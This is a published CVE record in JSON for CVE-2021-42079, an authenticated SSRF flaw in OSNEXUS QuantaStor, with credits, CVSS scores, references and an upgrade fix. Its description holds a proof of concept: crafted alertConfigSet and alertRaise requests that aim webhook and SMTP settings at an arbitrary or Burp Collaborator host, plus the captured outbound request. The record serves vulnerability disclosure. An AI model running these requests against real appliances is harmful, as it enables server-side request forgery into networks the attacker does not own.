{ "dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": { "cveId": "CVE-2021-42079", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "state": "PUBLISHED", "assignerShortName": "DIVD", "dateReserved": "2021-10-07T17:12:57.677Z", "datePublished": "2023-07-10T06:29:48.339Z", "dateUpdated": "2025-09-22T06:40:03.059Z" }, "containers": { "cna": { "affected": [ { "collectionURL": "https://www.osnexus.com/downloads", "defaultStatus": "unknown", "platforms": [ "Windows", "Linux" ], "product": "QuantaStor", "vendor": "OSNEXUS", "versions": [ { "lessThan": "6.0.0.355", "status": "affected", "version": "0", "versionType": "semver" } ] } ], "credits": [ { "lang": "en", "type": "finder", "value": "Wietse Boonstra (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Célistine Oosting (DIVD)" } ], "descriptions": [ { "lang": "en", "supportingMedia": [ { "base64": false, "type": "text/html", "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1\n
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate\n
Accept: */*\nAccept-Language: en\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
\nConnection: close\n
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json\n
Content-Length: 0


Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1\n
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate\n
Accept: */*\n
Accept-Language: en\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n
Connection: close\n
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json\n
Content-Length: 1

The post request received by <TARGET> looks like this:
{
 \n### Python FLASK stuff ####\n
 'endpoint': 'index',
 \n'method': 'POST',
 \n'cookies': ImmutableMultiDict([]),
 \n### END Python FLASK stuff ####\n
 \n'data': b'{
  \"attachments\": [
   {\n
    \"fallback\": \"[122] test / test.\",\n
    \"color\": \"#aa2222\",\n
    \"title\": \"[122] test\",\n
    \"text\": \"test\",\n
    \"fields\": [  
     {    \n
      \"title\": \"Alert Severity\",\n    
      \"value\": \"CRITICAL\",\n    
      \"short\": false  
     },  {  
      \"title\": \"Appliance\",    
      \"value\": \"quantastor (
https://<HOSTNAME>)\",\n    
      \"short\": true  \n
     },  {    \n
      \"title\": \"System / Driver / Kernel Ver\",    \n
      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n
      \"short\": false  \n
     },  {    \n
      \"title\": \"System Startup\",    \n
      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n
      \"short\": true  \n
      },  {    \n
      \"title\": \"SSID\",    \n
      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n
      \"short\": true  \n
     },
    ],\n
    \"footer\": \"QuantaStor Call-home Alert\",\n
    \"footer_icon\": \"
https://platform.slack-edge.com/img/default_application_icon.png\",\n
    \"ts\": 1628461774
   }
  ],
  \"mrkdwn\":true
 }',
 #### FLASK REQUEST STUFF #####\n
 'headers': {\n
  'Host': '<redacted>',
  'User-Agent': 'curl/7.58.0',
  'Accept': '*/*',
  'Content-Type': 'application/json',
  'Content-Length': '790'\n
 },
 'args': ImmutableMultiDict([]),
 'form': ImmutableMultiDict([]),
 'remote_addr': '217.103.63.173',
 'path': '/payload/58',
 'whois_ip': 'TNF-AS, NL'
}\n
#### END FLASK REQUEST STUFF #####
" } ], "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://\nHTTP/1.1\n\nHost: \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n    \n      \"value\": \"CRITICAL\",\n    \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://)\",\n     \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n      },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####" } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.2, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N", "version": "3.1" }, "format": "CVSS", "scenarios": [ { "lang": "en", "value": "GENERAL" } ] } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-918", "description": "CWE-918 Server-Side Request Forgery (SSRF)", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:03.059Z" }, "references": [ { "tags": [ "third-party-advisory", "technical-description" ], "url": "https://www.wbsec.nl/osnexus" }, { "tags": [ "third-party-advisory", "exploit", "technical-description" ], "url": "https://cisrt.divd.nl/DIVD-2021-00020/" }, { "tags": [ "product" ], "url": "https://www.osnexus.com/products/software-defined-storage" }, { "tags": [ "third-party-advisory" ], "url": "https://csirt.divd.nl/CVE-2021-42079" } ], "solutions": [ { "lang": "en", "supportingMedia": [ { "base64": false, "type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor." } ], "value": "Upgrade to the latest version of OSNEXUS QuantaStor." } ], "source": { "discovery": "INTERNAL" }, "title": "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "x_generator": { "engine": "Vulnogram 0.1.0-dev" } }, "adp": [ { "providerMetadata": { "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.855Z" }, "title": "CVE Program Container", "references": [ { "url": "https://www.wbsec.nl/osnexus", "tags": [ "third-party-advisory", "x_transferred" ] }, { "url": "https://www.divd.nl/DIVD-2021-00020", "tags": [ "third-party-advisory", "x_transferred" ] }, { "url": "https://www.osnexus.com/products/software-defined-storage", "tags": [ "product", "x_transferred" ] }, { "url": "https://csirt.divd.nl/CVE-2021-42079", "tags": [ "third-party-advisory", "x_transferred" ] } ] }, { "metrics": [ { "other": { "type": "ssvc", "content": { "timestamp": "2024-11-04T20:06:08.530050Z", "id": "CVE-2021-42079", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "role": "CISA Coordinator", "version": "2.0.3" } } } ], "title": "CISA ADP Vulnrichment", "providerMetadata": { "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-04T20:06:17.817Z" } } ] } }